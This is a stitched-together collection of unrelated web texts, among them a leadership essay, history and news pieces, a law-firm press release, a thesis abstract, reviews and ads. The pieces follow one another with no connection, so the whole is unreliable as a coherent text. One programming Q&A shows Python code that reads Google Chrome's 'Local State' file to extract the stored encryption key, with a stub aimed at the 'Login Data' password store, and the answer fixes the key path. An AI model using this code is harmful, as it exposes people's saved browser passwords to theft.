For this student leadership essay example, Effective leaders are characterized by an ability to take calculated risks, set realistic goals and galvanize the workforce into collectively working towards the attainment of set goals.
More importantly, however, a leader should take responsibility when his/her strategies are unsuccessful.
It is only after accepting accountability that corrective measures can be employed.
Such a leader is motivational to his employees since they feel valued and covered for.
Morale, job satisfaction and cohesion in the workplace are enhanced by good leadership thus directly contributing to organizational success.
I have witnessed this being exemplified by visionary leaders such as the late Steve Jobs of Apple Inc., Fredrick Smith of FedEx and Meg Whitman of Hewlett Packard (HP).
With reference to unity and cohesion in the workplace, all employees, regardless of rank, should be responsible for the organization's performance.
During successful times, it is evident that every stakeholder in the firm is pleased with their efforts.
For instance, there is increased compensation for employees.
It is therefore unfair that when the firm goes through a rough patch, the boss shifts all the accountability to his/her subordinates.
This reoccurring problem at my workplace is a telltale sign of ineffective leadership.
My boss happily takes credit for excellent work by employees but abandons us when mistakes happen.
The morale in my place of work has dropped to an all-time low.
Reduced motivation has been evidenced by a consistent run of bad performance which the boss keeps blaming on the employees.
The turnover rate has increased in the past year as colleagues seek better opportunities and recognition in other institutions.
Apparently, the leadership style employed by my boss is contributing to the degeneration of the workplace.
1. There has been an increased tendency for Americans and their families to eat out at restaurants, diners and related eateries. Which social and economic factors have led to the development of this trend?
2. Eating out at eateries has numerous repercussions as compared to eating home-cooked food. What is the relationship between taking children out to eat and academic performance?
3. Explain the effects of foodborne diseases on the health of children and their development into maturity.
4. In addition to accountability, which positive leadership traits do you expect your leader/manager to portray?
5. Management of the human resource is among the duties of a leader in the internal environment of a firm. Which aspects of the external environment should a leader also manage?
6. Reoccurring leadership problems at the workplace lead to reduced morale among employees. Explain the various ways in which management can raise employee motivation.
These are interesting topics that you can use well for the essay.
However, the descriptive style reads as secondary to an informative style.
I think doing this will better meet the challenge of the assignment and better engage your readers.
Providing narrative examples that demonstrate the hazards of taking children out to eat, for example, would provide opportunity not only to increase the descriptive quality of your writing but also introduce a narrative aspect.

Almost 11.5 million Syrians do not receive medical attention due to the ongoing conflict in the country. 40% of them are children. In Aleppo alone, hospitals have been razed to the ground by both armies. The situation is truly desperate. Avsi works to sustain some private hospitals in Damascus and Aleppo.

Travis Pastrana Joins 100 Years Of Crazy Feats And Unbelievable Daredevils
Nitro Circus rider Travis Pastrana joins the ranks of prolific daredevils, proving the unbelievable is still possible!
Colton Kruse — August 22, 2018
Pushing Limits Since 1918
Ripley's Believe It or Not! has been pushing human limits to the extreme for the last century, when a young Robert Ripley pulled together a few notable feats of endurance, sketching each for his newspaper cartoon.
One man had stayed underwater for six minutes, another skipped rope 11,810 times, while another ran 623 miles in 142 hours. He submitted the panel to his editors with the title "Champs and Chumps" but also offered "Believe It or Not" as an alternative.
Since then, extreme athletes have upped the ante and, throughout history, have taken many forms—from barnstormers and human cannonballs to BASE jumpers and escape artists. One thing remains the same: these risk-takers put their lives on the line for the thrill. Like daredevils Evel Knievel and Travis Pastrana, they make the unbelievable truly believable—worthy of being considered a Believe It or Not!
The Great Blondin
Becoming the first person to cross the Niagara gorge on a tightrope in 1859, the Great Blondin is one of the earliest daredevils to record his stunts with photography, and later video. The daredevil Blondin couldn't stop there, however, he made the crossing increasingly dangerous, balancing on his hands, carrying a person on his back, and even cooking lunch while balancing himself and a stove on the tightropes he walked.
Annie Taylor
Daredevils remained obsessed with the sheer spectacle of the Niagara Falls. Annie Taylor, however, wasn't afraid of a little water. She climbed into a barrel and shipped off to take a plunge over the falls, becoming the first woman to make the attempt, and the first person ever to survive the trip in a barrel
Harry Houdini's affinity for magic tricks is legendary, but his propensity for card tricks was wholly outmatched by his daredevil spirit. There was no stunt too dangerous for Houdini, he escaped from straitjackets and handcuffs while jumping off bridges, suspended upside down, and even while underwater.
You can't talk of the world's most prolific stuntmen without mentioning Evel Knievel. In Chicago, he attempted to jump over a 90-foot-long tank filled with 13 sharks. At his Washington motorcycle dealership, he soared over a twenty-foot-long box of rattlesnakes. In 1973, he managed to fly over 50 cars without a scratch. Famous for his red, white, and blue outfit, Knievel is practically synonymous with daredevil.
Travis Pastrana
Taking on the mantle of motocross daredevil, Travis Pastrana has entered the ranks of world-renown daredevils. Despite suffering from more injuries than he can remember, Pastrana has continued to pursue bigger and better stunts, even finishing a few that Knievel himself failed to accomplish. Touring with the Nitro Circus, Pastrana and his team make the unbelievable happen on a regular basis.

Introducing...the Wallenbergs
Paul O'Mahony
paul.omahony@thelocal.com
@omahonypaul
wallenbergcelebrityintroducing
Introducing... is The Local's weekly look at the great and the good of Swedish society. This week, the Wallenbergs, the aristocrats of Swedish business.
Who are they and why are they famous?
The Wallenbergs are Sweden's most powerful financial family. Just over 150 years ago André Oscar Wallenberg started literally minting it when he established Stockholms Enskilda Bank. Since then the family's power has become almost regal in its scope. In fact one of them, Marcus "district judge" Wallenberg, was a Knight of the Order of the Seraphim and had a type of minced veal burger named after him, a wallenbergare.
Mmm, tasty. Are they involved in anything I might have heard of?
Yes. The family has formed a seemingly unbreakable bond with the Swedish economy. In 1916 they set up Investor, an investment company with a major interest in Scania, Ericsson, Saab, ABB, Electrolux, AtlasCopco, AstraZeneca, and a ridiculous number of others besides.
That's quite a list. They must be absolutely rolling in it.
They're not strapped, that's for sure. Although Marcus "Dodde" Wallenberg did once claim to have lived "a life of chronic herring weeks".
What in the name of Mammon is a chronic herring week?
No human being living or dead had ever mentioned such a fish-tinged seven day period prior to the man from the clan, but it is assumed that he meant something akin to living on the breadline.
I'd say he knew very well which side his bread was buttered on. Anyway, why are these Wallenbergs in the news?
National broadcaster SVT has just run a three-part documentary on the family, which has planted bums firmly on seats all over the land.
Why? They just sound like a bunch of suits with visible history stains.
Ah yes, but these particular suits constitute the very fabric of Swedish society. And they very rarely give interviews. If we look at Sweden as being divided between state and capital, they have supplied das Kapital.
And the Social Democrats have been der Staat?
Precisely. And since we've come over all German, it's probably worth mentioning that the Wallenbergs have a Second World War hero in their ranks. While off on business trips to the continent Raoul Wallenberg was soon confronted with the treatment of Jews by Nazi Germany. In Budapest he acquired diplomatic status and saved thousands of Hungarian Jews by issuing them with false protective passports and claiming they were awaiting repatriation to Sweden.
Nice work! Was he treated as a hero when he returned to Sweden?
Unfortunately he never did return. He was arrested by the advancing Soviet forces, who took him to be a US spy. He was never seen again.
A tragic end...
Indeed, and there are other tragic tales too. Remember the bank that began the family fortune?
Well, Marc Wallenberg was its chief executive when, in 1971, it was to be merged with another bank to form what is now SEB. Marc committed suicide that same year, possibly because the onus on him to perform became too great. His father, Marcus "Dodde" Wallenberg had pushed the merger through against his wishes.
Dodde seems to have been a central Wallenberg.
Yes, he was. He was also a dab hand at tennis and competed for the Swedish Davis Cup team in the mid-1920s.
Good for Dodde. Are there any other Wallenbergs with silly nicknames?
Oh yes, tons of them. There was Jaju (Jakob) for example, who was Dodde's older brother. Both were involved in "the Bosch Affair" at the end of the Second World War, which led to them being accused by the USA of collaborating with Nazi Germany. The SVT documentary gives the brothers the benefit of the doubt on this score, particularly Jaju, whose name was mud after the scandal broke.
As if it wasn't bad enough being called Jaju! Any more?
Yes. There's Pirre (Peter), of course, born in 1926 and still a major power broker in what is commonly known as "the Wallenberg sphere". Then there's his son Poker (Peter), who's on the board of Investor. And Husky (Marcus), who is chairman of the board of SEB.
Now Dasher, now Dancer, now Prancer and Vixen! On Comet, on Cupid, on Donner and Blitzen.
Hey, show some respect! Husky's younger brother Wawa (Axel) is moving back to Sweden this summer after six years in Italy and the USA. And let's not forget Gustaf Wally, a latter-day Billy Elliott who left the world of finance in 1929 to become a ballet dancer in New York.
What's going to become of them now that they have been giving an airing on the telly?
They will probably return to the motto that has served the family so well over the years: Esse non videri - to be, not to be seen.
Right, and I'll return to mine.
What's that then?
Aliquando et insanire iucundum est - It is sometimes pleasant even to act like a madman.
Yeah, thought it might be.

Visit Glentauchers, Miltonduff & Glenburgie distilleries which are seldom open to visitors on a round tour of the signature malt whisky distilleries in the Ballantine's blend. You will travel in a comfortable Maynes Coach. Your host for the distillery tours and the tutored tasting will be one of Chivas Brothers' International Brand Ambassadors. The half day tour begins and ends at Elgin Town Hall.
You will visit Glentauchers, Miltonduff and Glenburgie distilleries and a bonded warehouse with our whisky expert. Then you will enjoy a tutored tasting of the four drams including the three single malt whiskies from these distilleries in the George Ballantine House at Glenburgie Distillery.
The tutored tasting will give you the opportunity to discover the diverse flavour profiles of Glenburgie, Miltonduff and Glentauchers Single Malts. Each is exceptionally smooth and aromatic but with distinct characteristics which you will discover during the tutored tasting in the comfortable setting of the George Ballantine House. As Sandy Hyslop, the Master Blender says, "Each of these 15 years old Single Malts has been made with the same craft, care and authenticity that goes into every bottle of Ballantine's. I am certain that whisky drinkers, connoisseurs and collectors alike will enjoy these new whiskies." The tasting will end with one of the aged whiskies in the Ballantine's range to which they contribute.
Meet in front of Elgin Town Hall. It is close to a large public car park and not far from Elgin Bus Station. The coach will return there at the end of the tour.

India, Japan and the Unoted States on Friday kicked off their marine war games, Malabar Exercise, close to the South China Sea as they focus on deeper military ties and greater interoperability amid rising tensions in the region.
The Indian Navy said that their ships Satpura, Sahyadri, Shakti and Kirch are participating in the 20th edition of the naval exercise in consonance with India's 'Act East Policy' and growing ties among the three countries.
The exercise will support maritime security in the Indo-Pacific region and benefit the global maritime community, the navy said.
The exercise assumes significance as it is being conducted close to South China Sea at a time when Chinese assertiveness in the region is a raging issue.
India and the US have regularly conducted the annual exercise since 1992. Since 2007, Malabar has been held alternatively off India and in the Western Pacific. Last year, it was conducted off Chennai and included participation of Japan.
While the harbour phase of the exercise started on Friday at Sasebo, the sea phase in the Pacific Ocean will be held from June 14 to 17.
"The primary aim of this exercise is to increase interoperability amongst the three navies and develop common understanding of procedures for Maritime Security Operations," the statement said.
Indian ships participating in the exercise are from the Eastern Fleet and include INS Sahyadri and INS Satpura, indigenously built guided missile stealth frigates, INS Shakti, a modern fleet tanker and support ship, and INS Kirch, an indigenous guided missile corvette.
The US Navy will be represented by aircraft carrier USS John C Stennis (CVN 74), Ticonderoga class Cruiser USS Mobile Bay and Arleigh Burke class destroyers USS Stockdale and USS Chung Hoon, all carrying helicopters.
In addition, one nuclear-powered submarine, carrier wing aircraft and long-range maritime patrol aircraft will also participate in the exercise.
Japan will be represented by Hyuga, a helicopter carrier with SH 60 K integral choppers and long-range maritime patrol aircraft, besides other advanced warships for specific parts of the exercise.
Additionally, the Special Forces of the three navies will also interact during the exercise.

Robbins Geller on the Front Line in the Fight Against the Opioid Epidemic
Public health officials have called the nationwide opioid epidemic the worst drug crisis in American history. According to the Centers for Disease Control and Prevention, "Overdose deaths involving prescription opioids were five times higher in 2016 than 1999," and sales of these prescription drugs have quadrupled. "From 1999 to 2016, more than 200,000 people have died in the U.S. from overdoses related to prescription opioids." Several pharmaceutical companies, including Purdue Pharma, Teva Pharmaceuticals USA Inc., Johnson & Johnson and Endo Health Solutions Inc., are at the center of the crisis for allegedly using Big Tobacco-style marketing of prescription drugs to increase sales, leading to widespread addiction and otherwise avoidable deaths. Leading the fight against the pharmaceutical manufacturers, distributors and retail pharmacies responsible for creating and perpetuating this epidemic, Robbins Geller has been hired to represent municipalities and Taft-Hartley Plans throughout the nation, including several of the country's largest cities and counties. One of the Firm's founding partners, Paul J. Geller, has been appointed to the team of elite lawyers spearheading more than 450 coordinated lawsuits in the multi-district litigation captioned In re National Prescription Opiate Litigation. Recently, the presiding Judge, the Honorable Dan Aaron Polster, selected six of the lawsuits to serve as "bellwether" cases, placing them on an expedited schedule. Two of the six involve Robbins Geller clients – Broward County, Florida and Monroe County, Michigan.
"Our firm is committed to holding opioid manufacturers and distributers accountable for their fraudulent marketing of opioids, which has fueled the worst drug scourge ever," said partner Mark J. Dearman, who is working on the litigation seven days a week.
"The defendants' massive nationwide campaign of false marketing, and their failure to report suspicious sales as required by law, resulted in dramatic increases in prescribing which advanced in lockstep with overdose deaths," said partner Aelish M. Baig who, along with Geller and Dearman, leads the Robbins Geller opioid team. Robbins Geller and co-counsel filed the first lawsuit in Michigan regarding the crisis, on behalf of Wayne and Oakland County, as well as the first lawsuit in Arizona (on behalf of Phoenix) and the first federal lawsuit in Florida (on behalf of Delray Beach).
The team also filed on behalf of the City of Los Angeles. L.A. City Attorney Mike Feuer said he filed the lawsuit because manufacturers and distributors encouraged doctors to prescribe the potent painkillers while downplaying the addictive nature of the drugs, all while failing to report suspicious sales. "I will not let Los Angeles become the next West Virginia or Ohio when it comes to the devastating effects of the opioid crisis," he said at a May 3, 2018 news conference announcing the lawsuit. Most recently, Robbins Geller was hired by Marin County and a suit was filed in the U.S. District Court in San Francisco. The Marin County case will be transferred to the multi-district litigation.
In the United States, more than 47,000 people died in 2014 due to drug overdoses, and that number surpassed 52,000 in 2015 and 63,000 in 2016. Michigan healthcare providers wrote 11 million prescriptions for opioid drugs in 2015 and an additional 11 million in 2016 – more annual opioid prescriptions than Michigan has residents. "We see the devastation every day in our hospitals, in our jails and at the morgue, and it's getting worse. There has to be a price to be paid when corporations show such disregard for human life," said Executive Warren C. Evans of Wayne County, which saw opioid-related deaths increase from 478 to 506 between 2013 and 2015. In 2016, that number reached 817 – more than 32 overdose deaths for every 100,000 residents. Oakland County Executive L. Brooks Patterson added, "The opioid industry put profits over people and now people are paying the price, some with their lives."
Rising numbers of opioid-related deaths can easily be tracked throughout the cities and counties that have thus far retained Robbins Geller to represent them against these opioid manufacturers and distributors. According to The Washington Times, the Montgomery County Council's Office of Legislative Oversight conducted a study this summer, finding that the County has had "sharp increases" in drug-related deaths in recent years, and according to the Maryland Department of Mental Health and Hygiene, "there were 1,856 opioid-related deaths in 2016, a 70 percent increase over 2015," in Maryland.
"The biggest thing we're looking for is an injunction against these distributors to force them to do what they're supposed to be doing," said Maryland's Talbot County Council President Jennifer Williams after selecting Robbins Geller to represent Talbot County in the lawsuit. Talbot County Attorney Anthony Kupersmith noted that when selecting Robbins Geller, he and Assistant Attorney Mary O'Donnell looked for "experience, a track record of successful outcomes in these larger litigation cases, a firm that has the resources to fight this fight against a group that has very deep pockets and that has representation from their firm on the settlement committee and the executive committee of the MDL." Kupersmith added, "Several other Maryland counties also have decided to work with Robbins Geller, so we're very excited about the opportunity . . . ."
"Our investigation has revealed that manufacturers intentionally misled prescribers, patients and the public regarding the appropriate uses, risks, safety and efficacy of prescription opioids," Baig told The Washington Times.
Counties affected the most by opioid-related deaths also deal with significant financial consequences as a result of over-prescription and addiction, including increased law enforcement and judicial expenditures, increased jail and public works expenditures, increased substance abuse treatment and diversion plan expenditures, increased emergency and medical care services expenditures, and lost economic opportunity. For instance, according to a recent study by Urban Institute, "Between 2011 and 2016, spending on Medicaid-covered prescriptions used to treat opioid addiction and overdoses increased from $394 million to $930 million, an average annual increase of 19 percent. Spending grew faster in later years, with a 30 percent increase between 2015 and 2016."
"Cities, like ours, face immeasurable human tragedies and escalating, multi-million dollar fiscal impacts due, in part, to the negligence and fraud of opioid manufacturers and distributors who reaped billions while knowingly, if not intentionally, spawning the current and next generation of opioid addicts," said Robbins Geller client Cary D. Glickstein, Mayor of Florida's Delray Beach. "We look forward to our day in court to redress the financial damages our taxpayers have been forced to shoulder."
The team of lawyers that was appointed by Judge Polster, including Paul J. Geller, "reads like a 'Who's Who' in mass torts," according to The National Law Journal. According to Law360, the smaller appointed group of negotiators is "split into two camps: seven attorneys representing local governments that allege grievous financial harm from the opioid crisis, and 11 attorneys representing opioid manufacturers and distributors. Their assignment is daunting: broker a quick and meaningful deal that earmarks money for health care and law enforcement, while also helping to curb opioid prescribing and abuse."
When asked about his appointment, Geller said: "I'm honored to have been selected among this exceptional group of lawyers. The opioid epidemic is a public health crisis, and fighting the manufacturers and distributors who are largely responsible for it will be a privilege. Every day, 90 Americans die from an opioid overdose. It's time to put an end to that."
"I believe that (Robbins Geller) have what we need to be successful," Maryland's Talbot County Council Vice President Corey Pack succinctly told The Star Democrat. "This problem is not going to go away. It's not all about dollars and cents, but it's about holding those companies accountable for the fraud they've perpetrated on the American people."
Robbins Geller partners Paul J. Geller, Mark J. Dearman, Aelish M. Baig, Thomas E. Egler and Matthew S. Melamed, along with associates Dory P. Antullis, Carissa J. Dolan, Ricardo J. Marenco, Sabrina E. Tirabassi and Bailie L. Heikkinen, are leading the Firm's litigation efforts on behalf of cities and counties around the country.

Q: How to get an encryption key from file I'm trying to get the encryption key from Google Chrome and I get an error saying:
line 13, in find_crypt
print(encrypt['encryption_key'])
KeyError: 'encryption_key'

The code is:
from genericpath import exists
import win32crypt
import json
import os

def find_crypt(path):
    path = path.replace('\Default', '')

    for file in os.listdir(path):
        if file == 'Local State':
            f = open('{0}\\{1}'.format(path, file), 'r', encoding='utf-8')
            encrypt = json.load(f)
            print(encrypt['encryption_key'])

def find_passwords(path):
    for file in os.listdir(path):
        if file == 'Login Data':
                pass

def main():
    local = os.getenv('LocalAppData')
    roaming = os.getenv('AppData')

    directories = {
        'chrome' : local + '\\Google\\Chrome\\User Data\\Default'
    }

    for name, directory in directories.items():
        if not os.path.exists(directory):
            continue
        else:
            find_crypt(directory)
            find_passwords(directory)

if __name__ == '__main__':
    main()

A: The Local State File does not store any key with the name encryption_key but instead with encrypted_key.
That is why your Python Program yells [at the line 13] it cant find any key with the name encryption_key.
Also the encrypted_key is inside another object with the name os_crypt
Enough Talking, Here is the modified code :)
def find_crypt(path):
    path = path.replace('\Default', '')
    print(path)
    for file in os.listdir(path):
        if file == 'Local State':
            f = open('{0}\\{1}'.format(path, file), 'r', encoding='utf-8')
            encrypt = json.load(f)
            print(encrypt['os_crypt']['encrypted_key'])

In Google Maps, the distance-measuring tool offers a choice of three unit systems: Metric, English or "I'm Feeling Geeky." If you click the third one, you're offered a long list of, ahem, somewhat uncommon measurement units, including parsecs, Persian cubits, and Olympic swimming pools.
On YouTube, if you pause a video and hold down the up and left arrow keys, you trigger a secret game of Snake. Try to guide the increasingly long snake's body around the screen with your arrow keys without tripping over yourself.
In each of these cases, some programmer deep inside these megalithic corporations exhibited a sense of humor—a display that somehow made it past committee, through the lawyers and out into the world.
In the olden days—10 or 20 years ago—this sort of playfulness in software was more common. Software engineers took pride in embedding into their code all manner of jokes, whimsy and Easter eggs (hidden surprises triggered by unlikely sequences of keystrokes).
Some of it was simple pride. Easter eggs often took the form of programming credits; after all, programmers usually don't get any public recognition, not even in the user guide.
Often the buried humor in software consisted of elaborate inside jokes. In the original system software for the Palm Pilot, for example, programmer Ron Marianetti created an animated taxicab, resembling a fat Volkswagen Beetle, programmed to race across the screen at random times—a tribute to the Pilot's original proposed name, the Taxi.
Across the hall, fellow engineer Chris Raff embedded an Easter egg of his own. If you held down your stylus in the lower right corner of the handwriting-practice game screen and then pressed a scroll button, a photo of himself with a buddy, tuxedoed at Palm's annual Christmas party, would inexplicably appear.
In time, though, Silicon Valley's corporate bosses began to frown on the practice of burying jokes in software. Part of the reason was quality control: by definition, an Easter egg is an untested feature. It's a loose cannon that could, in theory, interfere with other, more important parts of the program. It made the overlords nervous.
Another problem was employee retention. When programmers buried their own names into their work, they were, in essence, advertising their own skills. Their names were clearly displayed for inspection by headhunters at rival software companies.
These days, the spirit of in-jokes and whimsy lives on, but it has moved to new addresses: video games and movies—especially movies on DVD. Software jokes still live on in mainstream apps, but they're less ambitious, and most of them seem to come from Apple and, especially, Google.
Or search Google for "recursion" and click the "Did you mean?" suggestion. Or call up the Sydney Opera House in Google Earth and then spin around to the waterfront side; a late, great TV celebrity waits for you there. Or ask Google Maps to give you the directions from Japan to China and marvel at Google's suggestion for getting across the Pacific (step number 42).
Thank you, anonymous programmers; keep it up. You've made it clear that software can do more than make us productive—it can also make us happy.

Lloyd received both his BA in Archaeology and his MA in Landscape Archaeology from the University of York. His interests cover 3D modelling and visualisation, landscape survey, with a particular expertise in geophysical surveying, archaeological photography and illustration.
Lloyd has been involved in many CLAS archaeological projects both in the UK and abroad.
During 2015, Lloyd conducted the first full magnetic survey of the interior of the Roman fort at Lympne, Kent. Known locally as Stutfall Castle, it is one of several important Saxon Shore forts along Britain's east and south-east coast. The final report can be downloaded here.
Lloyd has been using the department's 3D laser scanning technology to create animations of selected objects on display in the Food for Thought exhibition at the Corinium Museum, Cirencester.
This project, led by Professor Ray Laurence, seeks to establish a better understanding of the supply of paving stones to the city of Rome through non-destructive geo-chemical analysis of paving stones using a hand-held portable XRF analyser.
Lloyd led a workshop on 3D laser scanning, with practical hands on session, for the AHRC-funded Methodologies for Material Culture IV: Warfare and Technology. This was one of a series of workshops organised by Dr Catherine Richardson, School of English, University of Kent.
Lloyd has been involved in Dr Evangelos Kyriakidis' Three Peak Sanctuaries of Central Crete project. Lloyd's work has ranged from office based work at the Canterbury campus preparing drawings for publication, as well as fieldwork on Crete, laser scanning Minoan figurines and the peak sanctuaries themselves.
Since joining the department in 2009, Lloyd has conducted four seasons of geophysical survey for Dr Steve Willis's Settlement and Society on the Lincolnshire Wolds project. Lloyd's ongoing involvement in this project has seen the production of many plans and photographs enter publication, most recently in The Roman Roadside Settlement and Multi-Period Ritual Complex at Nettleton and Rothwell, Lincolnshire.
The Campus Landscape Survey Project, which is part of the University of Kent's Creative Campus Initiative, is a short project with the aim of increasing our understanding of the archaeology of the campus, as well as its context within the wider landscape. The survey will be carried out by volunteer students of CLAS, who will have the opportunity to gain experience in many types of archaeological survey, including metric, geophysical and photographic survey.
Lloyd is currently photographically recording Canterbury Roman Museums's collection. These photographs will be used to support teaching within CLAS.

Title: A TEM Study of Magnetic Tunnel Junctions and Magnetic Materials
Author: Kirk, Daniel James
Since 1995, magnetic tunnel junction structures have been of great commercial interest because of their use in magnetic recording and data storage applications. In addition, the complex way in which the properties of the junction are influenced by the microstructure makes these structures of great scientific interest. The development of the capabilities of devices based on these structures has also lead to new applications for various materials. In particular, amorphous ferromagnets have become popular choices for use as ferromagnetic layers in these structures. Since the properties of magnetic tunnel junctions are determined by structural features less than 1 nm in size, a technique capable of studying these junctions with very high resolution is needed. In this thesis tunnel junction structures with two different types of barrier material are studied using a variety of transmission electron microscopy techniques. The effects of processing conditions were investigated for both structures. Electron microscopy was also used to investigate the origins ofuniaxial magnetic anisotropy in an important amorphous ferromagnet. The TiOx barrier of IrMnlCoFeffiOx/CoFe tunnel junctions formed by radical oxidation was found to be amorphous and its thickness highly dependent on oxidation time. Increased oxidation times led to the formation of oxides of Co and Fe from the lower ferromagnetic layer. Annealing was shown to have little effect on barrier thickness but does lead to diffusion of Mn to the barrier. Mn was observed to reduce oxides of Co and Fe and form MnOx in the barrier. In a study of PtMnlCoFe/AIOxfNiFe junctions, in which the barrier was formed by natural oxidation, the amorphous AIOx barrier width was found to be independent of oxidation time. The increase in the magnetoresistance of the higher oxidation time junctions was attributed to an increase in the barrier height of the oxide. In addition, evidence of oxidation of the ferromagnetic layers was found in a sample which had not been annealed. Magnetic anisotropy, induced by in-field annealing, was measured in amorphous CoFeB thin films and these films were then studied by electron diffraction to examine the short range order in this material. G(r) was obtained for directions parallel and perpendicular to the easy axis of magnetisation. No bond-length anisotropy was observed and an upper limit for the magnitude of the pair-ordering effect on the coordination of the transition metal and metalloid atoms was established.


The alcoholic director of the Hinchley & Trumbull Funeral Parlor Waldo Trumbull is a cheater that has married Amaryllis Trumbull in a marriage of convenience to get control of the business of her father Amos Hinchley. Trumbull has been using the same casket for more than thirteen years, dumping the corpses in their graves to resell the coffin. He also blackmails his only employee Felix Gillie that had robbed a bank and is an abusive husband, threatening to poison his father-in-law and not allowing Amaryllis to sing. Gillie has a crush on Amaryllis and loves to hear her singing. Trumbull owes more than one year of rental of his premise to Mr. John F. Black and he has no client. So he decides to improve his business killing Mr. Phipps to get a new client. However his wife Mrs. Phipps flees to Europe with all her possessions and does not pay for the funeral service. When Mr. Black duns his debts, Trumbull decides to kill him to make some money and resolve his financial problem. But Mr. Black is epileptic and his family wants to keep his body in a crypt instead of burying him in a grave. During the night, the Cemetery Keeper hears a cry and releases Mr. Black from the coffin in the beginning of a tragic night.

[Recall 2007] A Meeting with itta
posted in Interviews on December 7, 2011 by Anna
This article written after an interview with itta was edited by Philip Gowman and first published on London Korean Links.
While I've come across some more or less experimental Korean music over the years, nothing had prepared me for itta (있다). I was swept away by the 11th track on her first official album, "11″, and asked her to do an interview with me. Fortunately, she accepted.
At 4 years of age, itta began to learn how to play classical piano. At Catholic church, she played the organ and sang alto in the choir. When she was at high school, she wanted to be a poet, and one of her friends suggested they start making their own songs. And itta did. Nowadays she does nothing but music: writing lyrics, singing lyrics, making album artwork, collaborating with other artists – every day she's a musician, doing what she wants to do.
itta describes her music as very visual pop. Her first step towards a new song is to write lyrics and then she improvises her way from there. "Lyrics are not to change, but to deconstruct and reconstruct", she says, although lyrics and sounds are equally important in her music. While itta wanted to be a poet when she was young, she has now become "a poet by music".
It has now been 10 years since itta handed out her first demo cassette to friends, but she hasn't always made the same kind of music. I asked her about 바람, a beautiful piano piece of hers, that I found on millim. It had been made as a soundtrack for a short movie, itta explained, and the plan was for her to make an album with such music four years ago. Then she was hit by a bus and had a stay in hospital, which caused that plan to disappear. After that accident, she "met experimental things" and changed, though she could not explain the music she made.
The scene for experimental music in Korea is very small, but there are some good artists, says itta. Her first meeting with an experimental musician was an event for free music where she played with Park Je Chon. Later she joined Bulgasari, a monthly event for experimental music which is sometimes visited by non-Korean musicians. Because of Bulgasari she met Japanese laptop musician Marqido, with whom she formed the unit "10″ (below). They have already released two CDs and toured East Asia together last year.
After hearing about Pink Flag, a sub label of Pastel Music, itta contacted them and got a record deal. "11″ was released on August 11 and features 11 songs. The first song is 0:11 and the song length increases with exactly one minute for every song, until the 11th track, which is 11:00. When asked about the obvious theme, itta answered that one day in November 2005, she had drawn two persons facing each other and it looked like "11″. Then she decided to make an album on the theme, with a love story. In fact, itta released the album herself that same month, with an additional VCD, after she'd spent 11 days making it. She already had several unrecorded songs and some of her friends helped with various things in the making, so the only difficulty with the theme was the first track, which because of the time limit couldn't "express the hollowed space" as she had wanted.
When asked to put forward a song to represent her music, itta declared that all songs are her children, but settled for "nomad x 1900 = 1″ and "messenger" from "11″. "nomad x 1900 = 1″ was made in Korean, Japanese and English because she needs those three languages to love – "The lyric is making love". As for "messenger", both lyrics and sounds are ironic and have captured the feeling of fog as she intended. itta also mentions 10′s song "우주적 사랑을 실현시켜" (realize, the cosmic love) as a song she likes to sing. She says that the theme for that song is great as she wants to hug the universe.
"Keiji Haino", was itta's answer to the question on who is her favorite artist in the experimental realm. Along with Lee Sang, Nam June Paik, Yoko Ono, Björk and Marqido, he's also one of her biggest influences. While she has collaborated with several artists in various genres of music, she considers working with Marqido the most fun as he's got "power and purity like the eyes of a child". Many people have asked the two to come to Europe and play as 10, so now they're thinking about it. Other plans for the future, on itta's part, includes a new album or project with her other sides, featuring some pop artists. There seems no end to what she's prepared to explore.

Nintendo acquires next-level games from developer Luigi's Mansion 3
Nintendo announced that it will acquire Next Level Games for developer Luigi's Mansion 3, and you can read the acquisition notice at Nintendo site, Stating that the deal is expected to end on March 1, 2021. According to Nintendo, the acquisition "will facilitate an expected improvement in development speed and quality by enabling close communication and employee exchange with the Nintendo development team".
Nintendo has been working with the Canadian developer for a long time now, and their relationship extends to the release of the Gamecube Super Mario Strikers title in 2005, which was developed by Next Level Games.
Since then, the studio has worked on Mario Strikers Charged and Punch-Out !! For the Nintendo Wii, as well as Luigi's Mansion: Dark Moon and Metroid Prime: Federation Force for Nintendo 3DS.
We reviewed Luigi's Mansion 3 when it launched in October 2019, and described it as "fun, charming and smartly designed", and scored the game at an average of 8.3. If you are just starting the game, check out our detailed guide for each floor, head, and collectibles. In other Nintendo news, Shigeru Miyamoto recently revealed his plans to create a cute world in an interview with The New Yorker.

Tempura snacks and tambourine whacks.
Lesser known than some other karaoke spots, this cavernous room situated above a homely restaurant offers a large snack menu and plenty of space to stretch out. At the top of the staircase, a glitzed-out hostess in her fifties takes your name and seats you, then sings along with the participants while smacking a tambourine at the front of the huge stage.
Spacious enough to accommodate an entire roller derby team (we speak from experience), the high stage platform overlooks a low-lit room flanked by a more traditionally Japanese shoes-off dining section, and as such, singers are often barefoot. Drinks are mostly of the standard Brazilian beer and domestic sake variety, but there are some mixed drinks, like a White Russian. As for the eats, the tray of tempura is substantial, fancifully arranged in a fan shape, and tastier than you would expect in a place where people drop their chopsticks to mount the stage for a bit of impromptu backup singing. The wait for singing is reasonably brief, and the waiting staff is attentive.

But dear friends, beauty is everywhere! It is there for the eye to behold. All we have to do is stop long enough to drink it in and if we are brave enough. Reach out and take it with us.

Who doesn't love the experience of being fed without going through the hassle of cooking the food and cleaning the dishes? Most of us tend to rely on packaged food as an alternative instead of dining out to save some cash. Sure, packaged food is cheaper than dining out but does it really satisfy the taste bud? The flavours and the aroma are usually lost somewhere in the packaging. Here we have tried to discuss ways in which you can not only eat out and satisfy your hunger for good food but also make the most out of the money that you'd spending without feeling even a tad bit guilty.
This is actually a chef secret. When eating out, you shouldn't be spending money on something that you can readily cook or is dish which is easily available. Try to choose a dish which you have never tried and wouldn't be easy to make at home. Paying a bomb for pasta and chicken, which if turns out to taste alright would leave you feeling guilty for days. Trying a new dish will also help in expanding your palate.
The wine at restaurants is usually marked higher, almost around two and half times more expensive than what you buy at a wine store. Savour what the restaurant makes in their kitchen as that is something you won't be able to find somewhere else. This rule does not apply if the restaurant has their own wine collection from their vineyards.
When you know where you are headed for your next meal, you can budget it by having a look at the menu in advance. These days it is easy to find the menu on google, although it may be an old menu but it would still give you an idea on what you can expect for the money you are spending. You can also have a look at the photos uploading by previous customers.
Finally, you can always use our discount deals to eat out. It is a sure way to spend very little money on eating out and still be able to savour the taste. You can find our deals here: https://www.voucherstore.com.au/deals/food-drink.
Enjoy every meal without guilty. Happy indulgence!
Food and Drinks Deal: What's new?


